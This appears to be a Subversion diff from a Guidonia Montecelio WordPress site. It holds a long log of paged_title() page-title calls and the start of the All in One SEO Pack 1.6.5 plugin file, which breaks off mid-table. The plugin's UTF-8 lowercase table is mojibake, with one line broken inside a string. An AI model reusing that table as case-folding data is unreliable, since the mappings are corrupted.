+2009-12-29 06:03:53 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-29 06:04:14 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-29 06:06:08 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-29 06:07:01 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-29 06:19:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-29 07:07:59 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-29 08:10:02 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-29 08:10:15 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-29 08:10:33 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-29 08:12:14 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-29 12:08:28 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-12-29 11:08:56 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-12-29 11:09:18 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-12-29 11:09:51 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-12-29 14:08:54 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-12-29 14:09:07 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-12-29 14:09:13 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-12-29 14:11:03 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-12-29 14:22:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-29 14:29:12 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-29 14:29:23 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-29 14:29:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-29 14:29:43 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-29 14:29:46 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-29 14:29:48 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-29 14:30:04 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-29 14:30:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-29 15:30:52 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-12-29 16:07:48 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-12-29 16:14:04 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-12-29 16:15:37 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-12-29 17:14:36 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-29 17:27:59 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-12-29 18:11:48 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-12-29 18:12:03 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-12-29 18:12:04 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-12-29 18:22:22 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-29 19:50:56 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2009-12-29 21:35:11 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2009-12-29 22:29:54 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-29 22:57:17 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2009-12-30 00:51:10 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-12-30 00:53:09 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-30 03:52:03 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-12-30 06:22:51 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2009-12-30 07:51:37 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2009-12-30 14:46:10 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-30 15:08:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-30 18:23:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-30 18:23:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-30 19:27:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-30 18:36:31 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-30 18:36:48 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-30 19:00:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-30 22:32:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-31 01:29:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-31 22:25:22 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-01 10:15:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-01 10:46:08 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-01 11:35:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-01 11:39:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-01 11:42:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-01 12:26:25 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-01 12:26:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-01 12:32:43 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-01 13:12:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-01 13:35:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-01 13:37:36 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-01 13:58:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-01 14:06:52 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-01 14:48:31 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-02 01:17:04 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-02 03:25:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-02 03:32:50 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-02 09:07:31 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2010-01-02 10:03:55 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2010-01-02 20:52:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-02 21:34:55 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-03 00:43:51 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-03 03:11:26 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2010-01-03 06:07:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-03 06:14:31 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-03 06:46:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-03 07:05:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-03 08:10:45 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-03 11:13:08 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-03 20:30:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-03 22:57:11 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-04 04:33:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-04 04:33:33 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-04 04:54:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-04 04:54:43 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-04 04:57:56 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-04 11:57:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-04 11:57:54 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-04 11:57:55 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-04 11:58:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-04 11:58:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2010-01-04 11:58:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2010-01-04 12:07:48 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-04 13:49:10 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-04 22:33:04 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-04 23:05:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-04 23:18:56 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-04 23:59:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-05 00:42:43 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-05 01:16:27 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-05 10:50:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-05 15:16:01 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-05 19:07:00 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2010-01-05 19:07:01 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2010-01-05 20:45:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-06 00:08:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-06 06:35:39 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2010-01-06 10:51:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-06 11:14:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-06 15:11:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-06 15:17:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-06 15:20:20 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-06 16:35:45 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2010-01-06 16:42:11 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2010-01-06 16:53:17 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2010-01-06 17:14:22 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-06 17:38:02 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-06 19:49:26 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2010-01-06 20:32:33 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-06 21:44:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-06 22:39:48 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2010-01-07 00:42:41 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2010-01-07 02:34:28 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2010-01-07 04:00:36 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2010-01-07 04:35:03 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2010-01-07 06:49:51 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2010-01-07 06:03:54 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-07 07:00:23 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2010-01-07 08:18:59 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2010-01-07 08:39:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-07 09:27:48 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2010-01-07 09:33:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-07 10:23:35 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2010-01-07 10:50:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2010-01-07 11:11:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-07 11:31:48 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-07 11:55:50 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2010-01-07 13:10:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2010-01-07 13:27:25 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2010-01-07 15:07:58 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-07 15:37:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-07 16:55:11 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-07 18:57:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2010-01-07 20:28:48 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-07 21:10:08 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2010-01-07 21:58:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-07 22:17:19 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-07 22:27:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-07 22:44:34 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2010-01-07 23:19:15 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2010-01-07 23:23:29 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2010-01-08 00:50:44 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2010-01-08 01:06:03 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2010-01-08 01:13:43 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2010-01-08 01:34:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2010-01-08 02:39:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-08 02:53:43 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-08 03:36:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2010-01-08 03:52:28 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 20]
+2010-01-08 05:24:16 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 21]
+2010-01-08 06:15:23 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-08 06:26:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2010-01-08 07:44:25 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2010-01-08 08:44:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2010-01-08 10:15:17 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-08 11:06:33 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2010-01-08 11:07:14 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 23]
+2010-01-08 11:34:41 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-08 12:17:51 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-08 13:12:55 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2010-01-08 13:15:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-08 13:19:26 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2010-01-08 13:22:27 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2010-01-08 13:42:44 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2010-01-08 13:53:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-08 14:19:27 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-08 15:22:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2010-01-08 15:31:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-08 15:55:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-08 16:23:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-08 16:49:05 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-08 19:14:31 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2010-01-08 20:14:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-08 21:02:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2010-01-08 21:47:02 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 24]
+2010-01-08 23:39:08 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-08 23:46:10 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 20]
+2010-01-09 01:38:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-09 01:48:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 21]
+2010-01-09 03:34:51 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 25]
+2010-01-09 04:23:29 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-09 04:32:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2010-01-09 05:48:26 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 26]
+2010-01-09 07:26:34 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 27]
+2010-01-09 07:34:32 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-09 08:13:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-09 08:13:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-09 08:18:55 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-10 04:07:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2010-01-10 04:07:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-10 06:59:31 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 06:59:34 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2010-01-10 06:59:35 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2010-01-10 06:59:38 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 06:59:42 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 07:05:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2010-01-10 08:09:29 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 08:20:23 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2010-01-10 08:38:27 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 08:38:31 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 08:38:45 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-10 08:38:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-10 08:38:59 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-10 08:39:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-10 08:39:16 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2010-01-10 08:39:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2010-01-10 08:39:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2010-01-10 08:39:30 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2010-01-10 08:39:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-10 08:39:48 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-10 08:40:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2010-01-10 08:40:04 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2010-01-10 08:40:36 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2010-01-10 08:40:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2010-01-10 10:16:01 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 12:09:03 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-10 12:11:10 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2010-01-10 12:32:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 12:48:43 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 12:49:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 12:56:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2010-01-10 13:17:52 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2010-01-10 13:19:28 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2010-01-10 13:19:52 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-10 13:24:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-10 13:24:25 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-10 13:33:37 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2010-01-10 13:34:26 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2010-01-10 13:54:37 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2010-01-10 14:57:21 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2010-01-10 16:40:09 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.php	(revision 44)
@@ -0,0 +1,815 @@
+<?php
+
+/*
+Plugin Name: All in One SEO Pack
+Plugin URI: http://semperfiwebdesign.com
+Description: Out-of-the-box SEO for your Wordpress blog. <a href="options-general.php?page=all-in-one-seo-pack/aioseop.class.php">Options configuration panel</a> | <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=mrtorbert%40gmail%2ecom&item_name=All%20In%20One%20SEO%20Pack&item_number=Support%20Open%20Source&no_shipping=0&no_note=1&tax=0&currency_code=USD&lc=US&bn=PP%2dDonationsBF&charset=UTF%2d8">Donate</a> | <a href="http://semperfiwebdesign.com/forum/" >Support</a> |  <a href="https://www.amazon.com/wishlist/1NFQ133FNCOOA/ref=wl_web" target="_blank" title="Amazon Wish List">Amazon Wishlist</a>
+Version: 1.6.5
+Author: Michael Torbert
+Author URI: http://michaeltorbert.com
+*/
+
+/*
+Copyright (C) 2008-2009 Michael Torbert, semperfiwebdesign.com (michael AT semperfiwebdesign DOT com)
+Original code by uberdose of uberdose.com
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+/*******************************************************************************************************/
+register_activation_hook(__FILE__,'aioseop_activate_pl');
+
+$UTF8_TABLES['strtolower'] = array(
+	"ïŒº" => "ïœ",	"ïŒ¹" => "ïœ",	"ïŒž" => "ïœ",
+	"ïŒ·" => "ïœ",	"ïŒ¶" => "ïœ",	"ïŒµ" => "ïœ",
+	"ïŒŽ" => "ïœ",	"ïŒ³" => "ïœ",	"ïŒ²" => "ïœ",
+	"ïŒ±" => "ïœ",	"ïŒ°" => "ïœ",	"ïŒ¯" => "ïœ",
+	"ïŒ®" => "ïœ",	"ïŒ­" => "ïœ",	"ïŒ¬" => "ïœ",
+	"ïŒ«" => "ïœ",	"ïŒª" => "ïœ",	"ïŒ©" => "ïœ",
+	"ïŒš" => "ïœ",	"ïŒ§" => "ïœ",	"ïŒŠ" => "ïœ",
+	"ïŒ¥" => "ïœ
+",	"ïŒ€" => "ïœ",	"ïŒ£" => "ïœ",
+	"ïŒ¢" => "ïœ",	"ïŒ¡" => "ïœ",	"â«" => "Ã¥",
